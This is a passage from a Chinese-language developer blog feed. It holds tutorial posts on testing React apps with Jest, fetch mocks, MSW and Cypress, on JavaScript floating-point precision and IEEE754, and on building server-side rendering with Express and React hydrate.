createdAt: '2022-01-30T16:12:36.000Z'
}]
})
)
})
)
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('王博群')).toBeInTheDocument()
})
})
})
我們可以使用 MSW 來做假的 Server,詳細用法再參考官方網站會更清楚。
最後要直接模擬使用者的體驗了! 使用 Cypress 可以開啟瀏覽器來實際測試。超級 Fancy 阿!
"cypress:open": "cypress open"
npm run start
在本地開啟 react appnpm run cypress:open
把 cypress 跑起來如果是第一次在專案使用 Cypress,會自動新增一個 cypress 的資料夾,裡面有一大堆測試,可以刪掉自己寫,記得 cypress 的測試檔要有 .spec
的字樣,例如: auth.spec.js
。
下面上程式碼:
describe("Auth", () => {
it("test no article", () => {
cy.visit("http://localhost:3000/react-blog/home")
cy.intercept('GET', /\/articles\?page=[0-9]&limit=[0-9]$/, {
statusCode: 200,
body: JSON.stringify({
success: "true",
data: [],
}),
headers: {
'article-amount': '0'
}
})
cy.contains('所有文章').click()
cy.url().should('includes', 'http://localhost:3000/react-blog/articles')
cy.contains('還沒有任何文章')
})
it("test has article", () => {
cy.visit("http://localhost:3000/react-blog/home")
cy.intercept('GET', 'https://react-blog.bocyun.tw/v1' + '/articles?page=1&limit=5', {
statusCode: 200,
body: JSON.stringify({
success: true,
data: [{
id: 42,
name: '王博群',
authorUid: '1LeBcIh5GbYdzrKiUwq4YwtY0UJ2',
title: '史詩翻盤!Nadal讓二追三 奪破紀錄第21座大滿貫',
content: '',
plainContent: '2022年澳洲網球公開賽',
createdAt: '2022-01-30T16:12:36.000Z'
}]
}),
headers: {
'article-amount': '10'
}
})
cy.contains('所有文章').click()
cy.url().should('includes', 'http://localhost:3000/react-blog/articles')
cy.contains('王博群')
})
it("test error", () => {
cy.visit("http://localhost:3000/react-blog/home")
cy.intercept('GET', 'https://react-blog.bocyun.tw/v1' + '/articles?page=1&limit=5', {
statusCode: 400
})
cy.contains('所有文章').click()
cy.url().should('includes', 'http://localhost:3000/react-blog/articles')
cy.url().should('includes', 'http://localhost:3000/react-blog/home')
})
})
我們可以看到 cypress 的語法也很簡單,透過 visit(url) 來訪問想要的頁面。
另外,cypress 也提供了類似 MSW 的功能,我們一樣可以設置假的 Server。
最後要展示上面寫的 Cypress 測試實際跑起來如何,真的會開一個瀏覽器出來,超 OP!
最後有人可能會發現在 cypress 沒有使用到類似 waitfor
的語法 原因是因為 cypress 會自動等一段時間看看測試是否通過,當然這個時間是可以調整的。
這篇文章主要涵蓋到由小到大的範疇:
其中重要的觀念有:
如果這些都忘記了也無妨,個人覺得最重要的還是如何想辦法把實作的細節跟測試分開,但是又可以測試想要的功能。
]]>這篇文章會由小到大的架構去寫。
不過因為自己才剛接觸測試,所以是以筆記的性質去寫這篇文章,廢話不多說,下面就從前置準備開始吧!
在 CRA 創建的 React 專案當中,已經裝好了測試用的套件 jest,從 package.json 中可以看到
npm run test
可以很方便的進行測試。
不過在使用這個指令之前,請重新安裝 0.6.5 版本的 jest-watch-typeahead,詳細原因參考這裡。
在 cmd 輸入
npm install --exact jest-watch-typeahead@0.6.5
這是我們要測試的函式:
export const strictFloor = (num) => {
if (num%1 === 0) {
return num - 1
}
return Math.floor(num)
}
這個函式以圖形表示是這樣的:
那麼我們會寫幾個 case 來看函式的預期與輸出是不是一樣。
// strictFloor.test.js
import { strictFloor } from './utils'
test('test strictFloor function', () => {
expect(strictFloor(3)).toBe(2)
expect(strictFloor(3.5)).toBe(3)
})
當我們在 cmd 輸入
npm run test
會自動尋找有 .test 字串的檔案來跑測試。
我們延續上面的範例稍微修改一下,假設現在 strictFloor 這個函式是這樣子的:
const getPi = () => 3
export const strictFloorV2 = (num) => {
if (num%1 === 0) {
return num - 1 + exports.getPi()
}
return Math.floor(num) + exports.getPi()
}
所以我們在測試的測試檔會改成像這樣子:
// strictFloorV2.test.js
import { strictFloorV2 } from './utils'
test('test strictFloorV2 function', () => {
expect(strictFloor(3)).toBe(5)
expect(strictFloor(3.5)).toBe(6)
})
測試會通過,不過這個測試是為了 strictFloor 而寫的,如果現在 getPi 變成回傳 3.14,那麼 strictFloor 的測試沒通過就很不直觀,因為應該把錯賴在 getPi 身上。
如果我們可以在測試檔裡面模擬 getPi 的話一切就好多了,先看程式碼:
import * as module from './utils'
test('test strictFloorV2 function', () => {
jest.spyOn(module, 'getPi').mockReturnValue(5)
expect(module.strictFloorV2(3)).toBe(7)
expect(module.strictFloorV2(3.5)).toBe(8)
})
我們使用 jest.spyOn 來模擬 module 中的 getPi,不過眼尖的朋友應該會注意到 spyOn 在引用 getPi 的時候是引用 exports.getPi,原因是因為如果直接引用 getPi 我們會無法模擬,詳細可以參考這篇。
另一個方法是把 getPi 以及 strictFloor 分成兩個檔案撰寫。
測試完單一 function 以後,接著試試看 React Component 的 Unit test,我們想測試的是一個側拉的藍色 Menu,像下面的 gif 這樣:
我們會簡單測試幾個點。
// Menu.test.js
import Menu from './Menu'
import { BrowserRouter as Router } from 'react-router-dom'
import { screen, render } from '@testing-library/react'
import userEvent from '@testing-library/user-event'
import '@testing-library/jest-dom/extend-expect'
describe('Menu Component Login', () => {
test('Menu should have Login text if logout', () => {
render(
<Router>
<Menu showMenu={true} setShowMenu={jest.fn()}/>
</Router>)
expect(screen.getByText('Login')).toBeInTheDocument()
})
test('Menu click articles should push history /articles', () => {
render(
<Router>
<Menu showMenu={true} setShowMenu={jest.fn()}/>
</Router>)
userEvent.click(screen.getByText('Login'))
expect(window.location.pathname).toBe('/articles')
})
})
首先將要測試的 Component 引入,接著可以使用 Render
來模擬 mount 的動作。
可以將 props 的 function 以 jest.fn() 來代替,如此一來,當函式的內容改變的時候,只要不影響我們要測試的項目,就一樣會通過測試。
這一點滿重要的,謹記 Kent.C 大師的心法 - 盡量不要讓測試去貼近實作,如此一來才不用頻繁的更改測試。
除了一些很特別的元件需要個別做 Unit test 以外,通常我們在意的是很多個元件的相互關係。就以下面這張圖的 ArticlesPage 來說,它包含了 Header、Menu、Paginator、許多 Article 以及 Footer。
接下來會很有趣,因為這個頁面會發起 fetch 並拿到文章回來。
fetch 的結果與畫面的關係如下:
作者名字
的元素還沒有任何文章。
的元素在測試前端的時候,我們不希望真的去 call API,所以如何模擬發送 API 就是在測試裡面的重要的小事之一了。
先上程式碼:
import themes from '../../themes'
import { ThemeProvider } from '@emotion/react'
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom'
import { screen, render, waitFor } from '@testing-library/react'
import ArticlesPage from './ArticlesPage'
import '@testing-library/jest-dom/extend-expect'
import fetchMock from 'jest-fetch-mock'
fetchMock.enableMocks()
describe('ArticlesPage test', () => {
beforeEach(() => {
fetch.resetMocks()
})
test('ArticlesPage should redirect to home if fail', async () => {
fetch.mockReject(() => Promise.reject('API is down'))
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(window.location.pathname).toBe('/home')
})
})
test('ArticlesPage should contain authorname if has article', async () => {
fetch.mockResponseOnce(JSON.stringify({
success: true,
data: []
}), { status: 200, headers: { 'article-amount': 0 } })
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('還沒有任何文章。')).toBeInTheDocument()
})
})
test('ArticlesPage should show no article if no article', async () => {
fetch.mockResponseOnce(JSON.stringify({
success: true,
data: [{
id: 42,
name: '王博群',
authorUid: '1LeBcIh5GbYdzrKiUwq4YwtY0UJ2',
title: '史詩翻盤!Nadal讓二追三 奪破紀錄第21座大滿貫',
content: '',
plainContent: '2022年澳洲網球公開賽',
createdAt: '2022-01-30T16:12:36.000Z'
}]
}), { status: 200, headers: { 'article-amount': 10 } })
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('王博群')).toBeInTheDocument()
})
})
})
我們可以像一開始模仿 getPi 一樣,試著把 fetch 給代換掉,讓 fetch 回傳我們像要的結果,這件事可以很簡單的經由 jest-fetch-mock
這個套件完成。
這篇文章 裡面有 jest-fetch-mock
的詳細說明。
再來要注意 WaitFor 的語法,雖然我們已經不會實際發送 API,但仍然回傳 Promise,所以我們需要將等到 Promise 回來才看看有沒有通過測試。
最後可以注意:
beforeEach(() => {
fetch.resetMocks()
})
我們可以設定 hooks, 讓跑每個測試前先重設一次假的 fetch。
除了模仿 fetch 還有更極端的手段嗎? 有的,如果可以把 request 攔截下來,讓假的 server 監聽,那不管是 fetch 還是 XMLHttpRequest,都會有效!
上程式碼:
import themes from '../../themes'
import { ThemeProvider } from '@emotion/react'
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom'
import { screen, render, waitFor } from '@testing-library/react'
import ArticlesPage from './ArticlesPage'
import userEvent from '@testing-library/user-event'
import '@testing-library/jest-dom/extend-expect'
import { rest } from 'msw'
import { setupServer } from 'msw/node'
import { BASE_URL } from '../../WebAPI'
const server = setupServer()
describe('ArticlesPage test', () => {
beforeAll(() => server.listen())
afterEach(() => server.resetHandlers())
afterAll(() => server.close())
test('ArticlesPage should redirect to home if fail', async () => {
server.use(
rest.get(`${BASE_URL}/articles`, (req, res, ctx) => {
return res(ctx.status(400))
})
)
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(window.location.pathname).toBe('/home')
})
})
test('ArticlesPage should show no article if no article', async () => {
server.use(
rest.get(`${BASE_URL}/articles`, (req, res, ctx) => {
return res(
ctx.set({
'article-amount': 0,
}),
ctx.json({
success: true,
data: []
})
)
})
)
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('還沒有任何文章。')).toBeInTheDocument()
})
})
test('ArticlesPage should show no article if no article', async () => {
server.use(
rest.get(`${BASE_URL}/articles`, (req, res, ctx) => {
return res(
ctx.set({
'article-amount': 10,
}),
ctx.json({
success: true,
data: [{
id: 42,
name: '王博群',
authorUid: '1LeBcIh5GbYdzrKiUwq4YwtY0UJ2',
title: '史詩翻盤!Nadal讓二追三 奪破紀錄第21座大滿貫',
content: '',
plainContent: '2022年澳洲網球公開賽',
createdAt: '2022-01-30T16:12:36.000Z'
}]
})
)
})
)
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('王博群')).toBeInTheDocument()
})
})
})
我們可以使用 MSW 來做假的 Server,詳細用法再參考官方網站會更清楚。
最後要直接模擬使用者的體驗了! 使用 Cypress 可以開啟瀏覽器來實際測試。超級 Fancy 阿!
"cypress:open": "cypress open"
npm run start
在本地開啟 react appnpm run cypress:open
把 cypress 跑起來如果是第一次在專案使用 Cypress,會自動新增一個 cypress 的資料夾,裡面有一大堆測試,可以刪掉自己寫,記得 cypress 的測試檔要有 .spec
的字樣,例如: auth.spec.js
。
下面上程式碼:
describe("Auth", () => {
it("test no article", () => {
cy.visit("http://localhost:3000/react-blog/home")
cy.intercept('GET', /\/articles\?page=[0-9]&limit=[0-9]$/, {
statusCode: 200,
body: JSON.stringify({
success: "true",
data: [],
}),
headers: {
'article-amount': '0'
}
})
cy.contains('所有文章').click()
cy.url().should('includes', 'http://localhost:3000/react-blog/articles')
cy.contains('還沒有任何文章')
})
it("test has article", () => {
cy.visit("http://localhost:3000/react-blog/home")
cy.intercept('GET', 'https://react-blog.bocyun.tw/v1' + '/articles?page=1&limit=5', {
statusCode: 200,
body: JSON.stringify({
success: true,
data: [{
id: 42,
name: '王博群',
authorUid: '1LeBcIh5GbYdzrKiUwq4YwtY0UJ2',
title: '史詩翻盤!Nadal讓二追三 奪破紀錄第21座大滿貫',
content: '',
plainContent: '2022年澳洲網球公開賽',
createdAt: '2022-01-30T16:12:36.000Z'
}]
}),
headers: {
'article-amount': '10'
}
})
cy.contains('所有文章').click()
cy.url().should('includes', 'http://localhost:3000/react-blog/articles')
cy.contains('王博群')
})
it("test error", () => {
cy.visit("http://localhost:3000/react-blog/home")
cy.intercept('GET', 'https://react-blog.bocyun.tw/v1' + '/articles?page=1&limit=5', {
statusCode: 400
})
cy.contains('所有文章').click()
cy.url().should('includes', 'http://localhost:3000/react-blog/articles')
cy.url().should('includes', 'http://localhost:3000/react-blog/home')
})
})
我們可以看到 cypress 的語法也很簡單,透過 visit(url) 來訪問想要的頁面。
另外,cypress 也提供了類似 MSW 的功能,我們一樣可以設置假的 Server。
最後要展示上面寫的 Cypress 測試實際跑起來如何,真的會開一個瀏覽器出來,超 OP!
最後有人可能會發現在 cypress 沒有使用到類似 waitfor
的語法 原因是因為 cypress 會自動等一段時間看看測試是否通過,當然這個時間是可以調整的。
這篇文章主要涵蓋到由小到大的範疇:
其中重要的觀念有:
如果這些都忘記了也無妨,個人覺得最重要的還是如何想辦法把實作的細節跟測試分開,但是又可以測試想要的功能。
]]>原本打算先寫 React 的測試相關的文章,不過沒想到碰上了浮點數精度問題,所以決定先寫一篇簡單探討 JavaScirpt 中浮點數精準度問題的文章!
事情是這樣子的,有一個簡單的加法函式 add
,會回傳輸入的相加結果。
function add(...args) {
return args.reduce((a,b) => {
return a + b
}, 0)
}
我們簡單寫個測試:
import { add } from './utils'
test('add function', () => {
expect(add(0.1, 0.2)).toBe(0.3)
})
結果輸出是這個樣子:
為甚麼 0.1 + 0.2 會輸出 0.0000...304???
要談到為甚麼會發生這件事之前,我們必須先認識 JS 中儲存小數的標準: IEEE754。
JS 使用 32 個 bits 來表示浮點數,其中可以分成三個區塊:
在 JS 裡,浮點數是以二進位的方式搭配 IEEE754 標準來儲存的,所以在了解 IEEE754 以後接著要介紹十進位小數轉二進位小數的方法。
首先試著思考 0.625 這個數字,我們看能不能把它給湊成二進位表示。
0.625 = 0.5 + 0.125 = 2^(-1) + 2^(-3) = 0.101{2}
所以 0.625 以二進位可以表示成 0.101{2}。 不過每次都這樣子湊也太麻煩了吧! 有甚麼規則可循嗎?
從剛剛的範例裡面我們可以知道我們希望把 0.625 拆成 1/2, 1/4, 1/8... 的相加值。那我們來試著用這個想法吧!
0.625 = 0.625 × 2 ÷ 2 = 1.25 ÷ 2 = (1 + 0.25) ÷ 2 = 1/2 + (0.25 ÷ 2)
因為 1/2, 1/4, 1/8 的分子都是 1,為了湊出 1,我們把 0.625 乘以 2,讓它可以拆成 1 加上 0.25,接著利用除法的分配律分離出了 1/2!
0.25 ÷ 2 = (0.25 × 2 ÷ 2) ÷ 2 = 0.5 ÷ 4
我們把剩下的 0.25 依樣畫葫蘆,想湊出 1/4,可惜這次只有 0.5 小於 1
0.5 ÷ 4 = (0.5 × 2 ÷ 2) ÷ 4 = 1 ÷ 8 = 1/8
再依樣畫葫蘆,這次想湊出 1/8,成功了,而且沒有剩下的值。
所以 0.625 = 1/2 + 1/8 = 0.101{2}
這個方法靠著有系統的不斷將十進位小數乘以 2,只要大於 1 的話就可以利用除法的分配律拿出 2 的次方,最後直到 10 進位小數被取到剩下 0 為止。
將剛剛的方式研發成算則會像這樣子:
0.625 × 2 = 1.250
0.250 × 2 = 0.500
0.500 × 2 = 1.000 (小數點後全部為 0 結束)
取整數位依序往小數點往後填,得到 0.625 = 0.101{2}
接下來用輾轉相乘法練習 0.1 以及 0.2 轉二進位
0.1 × 2 = 0.2
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
等等, 0011 怎麼會一直重複? 暫且先表示成 0.1 = 0.00011[0011]...{2}
接著看看 IEEE754 如何表示。
0.1 = 0.00011[0011]...{2} = 1.1[0011]...{2} × 2^(-4)
結果是: 0 0111 1011 1 0011 0011 0011 0011 0011 01
轉回十進位: 2^(-4)+2^(-5)+2^(-8)+2^(-9)+2^(-12)+2^(-13)+2^(-16)+2^(-17)+2^(-20)+2^(-21)+2^(-24)+2^(-25)+2^(-27) = 0.100000001490116119384765625
哭了,0.1 經過存儲以後變成了 0.100000001490116119384765625
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
又無限一直重複了。 暫且先表示成 0.2 = 0.0011[0011]...{2}
接著看看 IEEE754 如何表示。
0.2 = 0.0011[0011]...{2} = 1.1[0011]...{2} × 2^(-3)
結果是: 0 0111 1100 1 0011 0011 0011 0011 0011 01
轉回十進位: 2^(-3)+2^(-4)+2^(-7)+2^(-8)+2^(-11)+2^(-12)+2^(-15)+2^(-16)+2^(-19)+2^(-20)+2^(-23)+2^(-24)+2^(-26) = 0.20000000298023223876953125
到了這裡我們知道不是所有的十進位小數都可以被二進位小數精確的表示,而這也是前言裡面為甚麼 0.1 + 0.2 !== 0.3 的原因了。
最後再來點算點有趣的吧! 來算算看有效位數,我們知道 IEEE754 的有效位數是 23 位,不過要記得這裡的有效位數是二進位制的,如果換算成十進位
2^23 = 8388608
所以說十進位大概只有 6 ~ 7 位有效數字。
不過要記得的是有效位數以及可表示的數的範圍是不一樣的,可表示的數的範圍取決於次方數的極限,所以一樣以 IEEE754 來說,數的範圍在 10^(-37) ~ 10^38 之間。
回到最一開始的問題,那要怎麼測試浮點數的相加呢? 其實可以像下面這樣寫:
import { add } from './utils'
test('add function', () => {
expect(abs(add(0.1, 0.2) - 0.3) < Number.EPSILON).toBe(true)
})
Number.EPSILON 在 MDN 的解釋是這樣的:
The Number.EPSILON property represents the difference between 1 and the smallest floating point number greater than 1.
然後測試就過啦!!
]]>原本打算先寫 React 的測試相關的文章,不過沒想到碰上了浮點數精度問題,所以決定先寫一篇簡單探討 JavaScirpt 中浮點數精準度問題的文章!
事情是這樣子的,有一個簡單的加法函式 add
,會回傳輸入的相加結果。
function add(...args) {
return args.reduce((a,b) => {
return a + b
}, 0)
}
我們簡單寫個測試:
import { add } from './utils'
test('add function', () => {
expect(add(0.1, 0.2)).toBe(0.3)
})
結果輸出是這個樣子:
為甚麼 0.1 + 0.2 會輸出 0.0000...304???
要談到為甚麼會發生這件事之前,我們必須先認識 JS 中儲存小數的標準: IEEE754。
JS 使用 32 個 bits 來表示浮點數,其中可以分成三個區塊:
在 JS 裡,浮點數是以二進位的方式搭配 IEEE754 標準來儲存的,所以在了解 IEEE754 以後接著要介紹十進位小數轉二進位小數的方法。
首先試著思考 0.625 這個數字,我們看能不能把它給湊成二進位表示。
0.625 = 0.5 + 0.125 = 2^(-1) + 2^(-3) = 0.101{2}
所以 0.625 以二進位可以表示成 0.101{2}。 不過每次都這樣子湊也太麻煩了吧! 有甚麼規則可循嗎?
從剛剛的範例裡面我們可以知道我們希望把 0.625 拆成 1/2, 1/4, 1/8... 的相加值。那我們來試著用這個想法吧!
0.625 = 0.625 × 2 ÷ 2 = 1.25 ÷ 2 = (1 + 0.25) ÷ 2 = 1/2 + (0.25 ÷ 2)
因為 1/2, 1/4, 1/8 的分子都是 1,為了湊出 1,我們把 0.625 乘以 2,讓它可以拆成 1 加上 0.25,接著利用除法的分配律分離出了 1/2!
0.25 ÷ 2 = (0.25 × 2 ÷ 2) ÷ 2 = 0.5 ÷ 4
我們把剩下的 0.25 依樣畫葫蘆,想湊出 1/4,可惜這次只有 0.5 小於 1
0.5 ÷ 4 = (0.5 × 2 ÷ 2) ÷ 4 = 1 ÷ 8 = 1/8
再依樣畫葫蘆,這次想湊出 1/8,成功了,而且沒有剩下的值。
所以 0.625 = 1/2 + 1/8 = 0.101{2}
這個方法靠著有系統的不斷將十進位小數乘以 2,只要大於 1 的話就可以利用除法的分配律拿出 2 的次方,最後直到 10 進位小數被取到剩下 0 為止。
將剛剛的方式研發成算則會像這樣子:
0.625 × 2 = 1.250
0.250 × 2 = 0.500
0.500 × 2 = 1.000 (小數點後全部為 0 結束)
取整數位依序往小數點往後填,得到 0.625 = 0.101{2}
接下來用輾轉相乘法練習 0.1 以及 0.2 轉二進位
0.1 × 2 = 0.2
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
等等, 0011 怎麼會一直重複? 暫且先表示成 0.1 = 0.00011[0011]...{2}
接著看看 IEEE754 如何表示。
0.1 = 0.00011[0011]...{2} = 1.1[0011]...{2} × 2^(-4)
結果是: 0 0111 1011 1 0011 0011 0011 0011 0011 01
轉回十進位: 2^(-4)+2^(-5)+2^(-8)+2^(-9)+2^(-12)+2^(-13)+2^(-16)+2^(-17)+2^(-20)+2^(-21)+2^(-24)+2^(-25)+2^(-27) = 0.100000001490116119384765625
哭了,0.1 經過存儲以後變成了 0.100000001490116119384765625
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
0.2 × 2 = 0.4
0.4 × 2 = 0.8
0.8 × 2 = 1.6
0.6 × 2 = 1.2
又無限一直重複了。 暫且先表示成 0.2 = 0.0011[0011]...{2}
接著看看 IEEE754 如何表示。
0.2 = 0.0011[0011]...{2} = 1.1[0011]...{2} × 2^(-3)
結果是: 0 0111 1100 1 0011 0011 0011 0011 0011 01
轉回十進位: 2^(-3)+2^(-4)+2^(-7)+2^(-8)+2^(-11)+2^(-12)+2^(-15)+2^(-16)+2^(-19)+2^(-20)+2^(-23)+2^(-24)+2^(-26) = 0.20000000298023223876953125
到了這裡我們知道不是所有的十進位小數都可以被二進位小數精確的表示,而這也是前言裡面為甚麼 0.1 + 0.2 !== 0.3 的原因了。
最後再來點算點有趣的吧! 來算算看有效位數,我們知道 IEEE754 的有效位數是 23 位,不過要記得這裡的有效位數是二進位制的,如果換算成十進位
2^23 = 8388608
所以說十進位大概只有 6 ~ 7 位有效數字。
不過要記得的是有效位數以及可表示的數的範圍是不一樣的,可表示的數的範圍取決於次方數的極限,所以一樣以 IEEE754 來說,數的範圍在 10^(-37) ~ 10^38 之間。
回到最一開始的問題,那要怎麼測試浮點數的相加呢? 其實可以像下面這樣寫:
import { add } from './utils'
test('add function', () => {
expect(abs(add(0.1, 0.2) - 0.3) < Number.EPSILON).toBe(true)
})
Number.EPSILON 在 MDN 的解釋是這樣的:
The Number.EPSILON property represents the difference between 1 and the smallest floating point number greater than 1.
然後測試就過啦!!
]]>在網路上看到許多定義 SSR 指的是瀏覽器第一次請求內容使用 SSR,但後續還是使用 CSR 的方式。
為了不要混淆讓人以為所有畫面的改變都是使用 SSR,所以我把這樣的方法稱作 1st SSR + CSR。
在實作 React 版本的 SSR + CSR 以前,先大致瀏覽一下架構這次實作的架構。
這個架構有幾個特色:
第一步要安裝需要的套件,可以照著底下節錄的 package.json 安裝。
"dependencies": {
"express": "^4.17.2",
"prop-types": "^15.7.2",
"react": "^17.0.2",
"react-dom": "^17.0.2",
"react-router-dom": "^6.2.1",
"webpack-node-externals": "^1.7.2"
},
"devDependencies": {
"@babel/core": "^7.10.4",
"@babel/preset-env": "^7.10.4",
"@babel/preset-react": "^7.10.4",
"babel-loader": "^8.1.0",
"nodemon": "^2.0.4",
"npm-run-all": "^4.1.5",
"webpack": "^4.43.0",
"webpack-cli": "^3.3.12",
"webpack-node-externals": "^1.7.2"
}
express 作為撰寫渲染伺服器的框架,能夠在使用者請求 HTML 時,決定要渲染哪個元件,或者是呼叫 API 請求資料,並將資料渲染至 HTML 中,最後以字串回傳 HTML。
因為不用 create-react-app 打包 react 的關係,所以需要自己動手打包。
除了需要讓 babel 轉換 JSX 的語法之外,也記得要讓 ES6 轉 ES5 語法,因為 server 是跑在 node 環境,對 ES6 的支援度不高。
nodemon 可以取代 node 執行 js 程式,厲害的是類似於 dev server,nodemon 會隨時監聽執行程式有沒有被修改,並且重新執行。
先看一下在 package.json 中定義的幾個快捷指令:
"scripts": {
"dev": "npm-run-all --parallel dev:build:* dev:server ",
"dev:server": "nodemon --inspect build/bundle.js",
"dev:build:server": "webpack --mode development --config webpack.server.js --watch",
"dev:build:client": "webpack --mode development --config webpack.client.js --watch"
}
當輸入指令 npm run [npm-script]
時,會自動執行定義好的 command。
下面是各個指令的功能:
進入實作的第一個困難是,有沒有甚麼方法可以很方便的將 React Component 轉成 html tags 呢?
記得在第一次渲染的時候,我們希望渲染伺服器可以給瀏覽器 html,如果我們希望搭配 react 達成這件事情的話,react 已經提供了這樣的函式。
我們來看看 renderToString
這個函式在官網的介紹
React 將會回傳一個 HTML string,你可以使用這個方法在伺服器端產生 HTML,並在初次請求時傳遞 markup,以加快頁面載入速度,並讓搜尋引擎爬取你的頁面以達到 SEO 最佳化的效果。
│ .babelrc
│ package.json
│ webpack.client.js
│ webpack.server.js
└─src
│ server.js
│ client.js
│ App.js
└─pages
│ │ HomePage.js
│ │ OtherPage.js
└─helpers
│ │ renderer.js
└─components
│ Header.js
這個實作會有兩個分頁,叫做 HomePage 與 OtherPage。
// HomePage
import React from 'react'
const HomePage = () => (
<div>
<h1>HomePage</h1>
<h2>Hello! I am HomePage!</h2>
</div>
)
export default HomePage
OtherPage 比較特別一點,我們加上一個按鈕以及 EventListener,每按一下都會在 console 收到通知。
import React from 'react'
const OtherPage = () => (
<div>
<h1>OtherPage</h1>
<button onClick={() => console.log("click me")}>click me</button>
</div>
)
export default OtherPage
為了方便切換頁面,接著要切一個 Header。
import React from 'react'
import { Link } from 'react-router-dom'
const Header = () => (
<ul>
<li>
<Link to="/">Home</Link>
</li>
<li>
<Link to="other">Other page</Link>
</li>
</ul>
)
export default Header
這個 express 渲染伺服器,提供 /
與 /other
的 GET API,在使用者進入 localhost:3001 時,會選擇元件 <HomePage />
或是 <OtherPage />
轉換成 HTML 字串,然後回傳。
import express from 'express'
import renderer from './helpers/renderer'
const app = express()
const port = process.env.PORT || 3001
app.get('/', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.get('/other', (req, res) => {
const content = renderer(req)
res.send(content)
})
app.listen(port, () => {
console.log(`Listening on port: ${port}`)
})
不是說要用 renderToString
把元件轉成 html 嗎? 我們把這個邏輯抽成一個叫做 renderer 的 function。
import React from 'react'
import { renderToString } from 'react-dom/server'
import { StaticRouter } from 'react-router-dom/server'
import { Route, Routes } from 'react-router-dom'
import HomePage from '../pages/HomePage'
import OtherPage from '../pages/OtherPage'
import Header from '../components/Header'
export default (req) => {
const content = renderToString(
<StaticRouter location={req.path}>
<Header />
<Routes>
<Route exact path='/' element={<HomePage />} />
<Route exact path='/other' element={<OtherPage />} />
</Routes>
</StaticRouter>
);
return `
<html>
<body>
<div id="root">${content}</div>
</body>
</html>
`
}
這邊有趣的是使用了 Static Router 當作路由,Static Router 會實際依照網址來渲染內容,所以在第一次使用 SSR 渲染時,就可以根據網址來將對應的元件傳換成 Html。
如果使用 Browser Router 是行不通的,因為 Browser Router 要使用到 document 上的函式,但是在第一次使用 SSR 的時候內容是放在 HTML 裡的,那時候尚未有 document 可以使用。
接著準備要 compile,所以要先把 babel 的設定寫在 .babelrc 裡頭。
{
"presets": [
"@babel/preset-env",
"@babel/preset-react"
]
}
這兩個 preset 是為了因應我們在 node.js 的環境中會用到 React 的 JSX 語法,而且可能會用到比較新的 JavaScript 語法。
最後只要寫好 webpack 設定檔就可以 compile 了。
// webpack.server.js
const path = require('path')
const webpackNodeExternals = require('webpack-node-externals')
module.exports = {
target: 'node', //使用 node.js 的環境編譯程式碼。
entry: './src/server.js', // 入口點
externals: [webpackNodeExternals()], // 因為在 node 中可以另外引入相依套件,所以不用把 node_modules 都打包
output: {
filename: 'bundle.js', // 打包後的檔案名稱
path: path.resolve(__dirname, './build'), // 打包後的檔案路徑
},
module: {
rules: [
{
test: /.js$/,
use: {
loader: 'babel-loader',
options: {
presets: ['@babel/preset-react', '@babel/preset-env'], // 可以寫在 .babelrc 也可以寫在這裡
},
},
},
],
},
devServer: {
port: 8080,
},
};
在 cmd 輸入以下指令進行打包與開啟 express server
npm run dev:build:server
npm run dev:server
接著在瀏覽器輸入 localhost:3001 測試。
有兩個問題需要改善:
記得前面提到我們希望把第一次渲染之後不管是監聽或是換頁等等的工作都交給瀏覽器嗎?
所以只要在第一次渲染之後的換頁都採用 Browser Router 就沒有換頁的問題了。
至於 EventListener 的問題也是因為純文字的 Html 並沒有辦法加上 EventListener,所以也必須仰賴 Client 端在第一次渲染以後另外加上。
我們再看一次之前的第一次渲染使用 CSR vs SSR 的比較圖:
接著我們試著把紅色框的部分完成。
我們除了前面用 webpack 打包 express 的程式碼,現在還要多一個在使用者看到網頁內容後,用於綁定事件以及支援 BrowserRouter 的 JavaScript 檔案。
//client.js
import React from 'react'
import ReactDOM from 'react-dom'
import App from './App'
ReactDOM.hydrate(
<App />,
document.getElementById('root')
)
接著把 Browser Router 寫在 App.js 裡面
//App.js
import React from 'react'
import { BrowserRouter, Route, Routes } from 'react-router-dom'
import HomePage from './pages/HomePage'
import OtherPage from './pages/OtherPage'
import Header from './components/Header'
const App = () => (
<BrowserRouter>
<Header />
<Routes>
<Route exact path='/' element={<HomePage />} />
<Route exact path='/other' element={<OtherPage />} />
</Routes>
</BrowserRouter>
);
export default App
到這裡眼尖的人應該會注意到在 client.js 裡我們使用 ReactDOM.hydrate 而不是 ReactDOM.render。
官方網站這樣子介紹 ReactDOM.hydrate :
如果你在一個已經有伺服器端 render markup 的 node 上呼叫 ReactDOM.hydrate,React 將會保留這個 node 並只附上事件處理,這使你能有一個高效能的初次載入體驗。
所以說使用 React.hydrate 的話可以保留 SSR 與 CSR 相同的部分,節省了一些效能。
